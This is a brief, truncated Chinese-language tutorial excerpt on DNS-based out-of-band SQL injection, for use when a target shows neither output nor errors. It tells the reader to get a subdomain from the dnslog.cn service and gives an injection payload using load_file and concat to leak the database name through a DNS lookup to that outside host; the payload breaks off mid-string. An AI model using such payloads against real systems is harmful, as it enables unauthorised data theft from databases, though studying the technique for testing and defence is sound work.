SQL注入篇——dns回顯注入

dns回顯注入的使用場景 當目標無顯示位也無錯誤回顯時便可使用此方法 1、首先使用網站http://www.dnslog.cn/點擊此處獲取dns地址 2、將獲取到的地址複製填入SQL語句中執行 注意：每次獲取到的dns地址都不同，改變時替換注入語句中標紅部分即可 注入語句： id=1’ and load_file(concat("\\",(database()),".2bmfvu.dnslog.

>>阅读原文<<